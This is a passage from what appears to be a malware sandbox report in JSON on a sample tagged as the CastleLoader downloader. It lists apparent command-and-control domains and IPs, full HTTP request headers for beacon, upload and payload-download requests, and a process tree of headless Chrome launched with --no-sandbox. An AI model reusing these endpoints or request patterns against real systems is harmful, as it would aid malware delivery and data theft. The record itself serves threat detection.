4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:eb860d3a4ad45e3d7975c5fdc3994798ee9b7ab685fa920c2656878b7dcd3029"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:118d5c36b649da58313ea5b0617dac96d2e35fc08739efa919547e189fb4d65c"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:1800304e19246edfdb56a14ffabc129b6b5b73e25dbedd2302e75a9eb4d78352"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:971fecaef31b529c71e572f626778ffa3d75c171edeeb0c8952a2a8b774ae2dc"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:d36619cb9c55f2d3d1b67d0360d506d8c37212caf14629886eb47c03bada975c"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:d7c45acadd5be82e4128989533d04a5d14c2b659f510efec75604345bd477e3c"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":87,"spawned_processes_count":87,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":25,"imported_dlls_count":139,"dropped_files_count":0,"extracted_files_count":40,"files_written_count":67,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":12,"dns_resolutions_count":8,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["providedasaservice","botnet","criminal","castleloader","downloader","malicious","suspicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"6ae4af83e9cb5a518f049d93","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Trojan.Heur.JP","contacted_countries":["DEU","NLD","ROU","USA"],"submit_name":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe","analysis_start_time":"2026-10-30T14:53:56+00:00","indicators_count":{"informative":300,"suspicious":93,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"87.120.244.24","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"85.120.253.110","port":443,"protocol":"TCP","country":"Romania","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"31.77.219.127","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"31.77.168.93","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"142.251.211.174","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"142.250.188.14","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"172.217.117.4","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"142.251.211.174","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"142.250.31.84","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"142.251.152.119","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"172.217.115.4","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"address":"142.251.153.119","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"dns_resolutions":[{"domain":"accounts.google.com","address":"142.250.31.84","ttl":97,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"clients2.google.com","address":"142.251.211.174","ttl":59,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"clientservices.googleapis.com","address":"142.250.188.14","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"safebrowsingohttpgateway.googleapis.com","address":"172.217.115.4","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"thelkfklef.com","address":"31.77.219.127","ttl":1800,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"twitmerklend.com","address":"87.120.244.24","ttl":1800,"country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"viigmeeftsgs.com","address":"85.120.253.110","ttl":3600,"country":"Romania","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"domain":"www.google.com","address":"142.251.152.119","ttl":48,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"http_requests":[{"host":"twitmerklend.com","host_ip":"87.120.244.24:443","url":"/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT\nHost: twitmerklend.com","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"host":"twitmerklend.com","host_ip":"87.120.244.24:443","url":"/31aa8434-bc4d-511f-910d-adbab2766b4f","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----HttpClientPK7Iz6JoNiPmVI7s\nUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT\nContent-Length: 1006\nHost: twitmerklend.com","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"host":"viigmeeftsgs.com","host_ip":"85.120.253.110:443","url":"/fkdr2342fsf/felix1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /fkdr2342fsf/felix1 HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36\nHost: viigmeeftsgs.com","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"host":"thelkfklef.com","host_ip":"31.77.219.127:443","url":"/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36\nHost: thelkfklef.com","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"host":"www.google.com","host_ip":"142.251.152.119:443","url":"/async/folae?async=_fmt:pb","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /async/folae?async=_fmt:pb HTTP/2\nHost: www.google.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nSec-Fetch-Mode: no-cors\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}],"processes":[{"pid":2512,"ppid":0,"name":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe","command_line":"","sha256":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","normalized_path":"C:\\a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe","uid":"00000000-00002512","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":3580,"ppid":2512,"name":"pythonw.exe","command_line":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\main.py","sha256":"ed4d992783c84334069efc57ae62c972bd1c3afd9b1413269fdd29b4d8a4d88b","normalized_path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pythonw.exe","parent_uid":"00000000-00002512","uid":"00000000-00003580"},{"pid":3640,"ppid":3580,"name":"powershell.exe","command_line":"","sha256":"9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003580","uid":"00000000-00003640"},{"pid":6764,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\zxllluua.ono\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00006764"},{"pid":6936,"ppid":6764,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\zxllluua.ono /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\zxllluua.ono\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x218,0x21c,0x220,0x1f4,0x224,0x7ff9f3f60068,0x7ff9f3f60074,0x7ff9f3f60080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006764","uid":"00000000-00006936"},{"pid":4260,"ppid":6764,"name":"WerFault.exe","command_line":"-u -p 6764 -s 864","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00006764","uid":"00000000-00004260"},{"pid":440,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\hexkwpy4.mrx\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00000440"},{"pid":2012,"ppid":440,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\hexkwpy4.mrx /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\hexkwpy4.mrx\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9f3f60068,0x7ff9f3f60074,0x7ff9f3f60080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000440","uid":"00000000-00002012"},{"pid":3160,"ppid":440,"name":"WerFault.exe","command_line":"-u -p 440 -s 872","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00000440","uid":"00000000-00003160"},{"pid":5472,"ppid":3160,"name":"WerFault.exe","command_line":"-u -p 3160 -s 956","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00003160","uid":"00000000-00005472"},{"pid":7976,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\zgrtvdml.jdp\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00007976"},{"pid":5576,"ppid":7976,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\zgrtvdml.jdp /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\zgrtvdml.jdp\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9f3f60068,0x7ff9f3f60074,0x7ff9f3f60080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007976","uid":"00000000-00005576"},{"pid":4384,"ppid":7976,"name":"WerFault.exe","command_line":"-u -p 7976 -s 1188","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00007976","uid":"00000000-00004384"},{"pid":1812,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\lllb4egj.oit\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00001812"},{"pid":8072,"ppid":1812,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\lllb4egj.oit /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\lllb4egj.oit\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9f4370068,0x7ff9f4370074,0x7ff9f4370080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00001812","uid":"00000000-00008072"},{"pid":7636,"ppid":1812,"name":"WerFault.exe","command_line":"-u -p 1812 -s 1660","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00001812","uid":"00000000-00007636"},{"pid":3352,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\ftmfxzfk.oni\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00003352"},{"pid":5176,"ppid":3352,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\ftmfxzfk.oni /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\ftmfxzfk.oni\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x218,0x21c,0x220,0x1f4,0x224,0x7ff9f3f60068,0x7ff9f3f60074,0x7ff9f3f60080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003352","uid":"00000000-00005176"},{"pid":1380,"ppid":3352,"name":"WerFault.exe","command_line":"-u -p 3352 -s 1168","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00003352","uid":"00000000-00001380"},{"pid":6676,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\azezuu31.qr3\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00006676"},{"pid":5020,"ppid":6676,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\azezuu31.qr3 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\azezuu31.qr3\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9f3f60068,0x7ff9f3f60074,0x7ff9f3f60080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00005020"},{"pid":5864,"ppid":5020,"name":"WerFault.exe","command_line":"-u -p 5020 -s 956","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00005020","uid":"00000000-00005864"},{"pid":5016,"ppid":6676,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1768,i,7490284826757659332,6693325147233982728,262144 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2064 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00005016"},{"pid":5196,"ppid":6676,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --no-pre-read-main-dll --metrics-shmem-handle=1920,i,6078894908843046571,11013612410467834242,524288 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2948 /prefetch:3","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00005196"},{"pid":4052,"ppid":6676,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --no-pre-read-main-dll --metrics-shmem-handle=2248,i,12415701032630197682,4510788273956295869,524288 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3228 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00004052"},{"pid":2008,"ppid":6676,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1793374982891189 --launch-time-ticks=1816752630 --metrics-shmem-handle=2820,i,12949716935754171049,5689537629177213634,2097152 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3220 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00002008"},{"pid":7092,"ppid":6676,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1793374982891189 --launch-time-ticks=1816979546 --metrics-shmem-handle=2852,i,4079641651810758009,8534444865161796175,2097152 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3488 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00007092"},{"pid":5860,"ppid":6676,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1793374982891189 --launch-time-ticks=1817373021 --metrics-shmem-handle=3268,i,12453386652196528134,13511769785846420740,2097152 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=3704 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00005860"},{"pid":576,"ppid":6676,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\azezuu31.qr3\" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1793374982891189 --launch-time-ticks=1817574722 --metrics-shmem-handle=3292,i,15596085182198131975,12908915054259590861,2097152 --field-trial-handle=2076,i,5407070872073756203,3165747070480623619,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=3936 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006676","uid":"00000000-00000576"},{"pid":6268,"ppid":6676,"name":"WerFault.exe","command_line":"-u -p 6676 -s 1112","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00006676","uid":"00000000-00006268"},{"pid":7400,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\lib3q4vh.y4g\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00007400"},{"pid":1144,"ppid":7400,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\lib3q4vh.y4g /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\lib3q4vh.y4g\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1d0,0x220,0x7ff9fd2b0068,0x7ff9fd2b0074,0x7ff9fd2b0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007400","uid":"00000000-00001144"},{"pid":7564,"ppid":7400,"name":"WerFault.exe","command_line":"-u -p 7400 -s 1164","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00007400","uid":"00000000-00007564"},{"pid":4708,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\qvb0czr3.fel\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00004708"},{"pid":8004,"ppid":4708,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\qvb0czr3.fel /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\qvb0czr3.fel\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 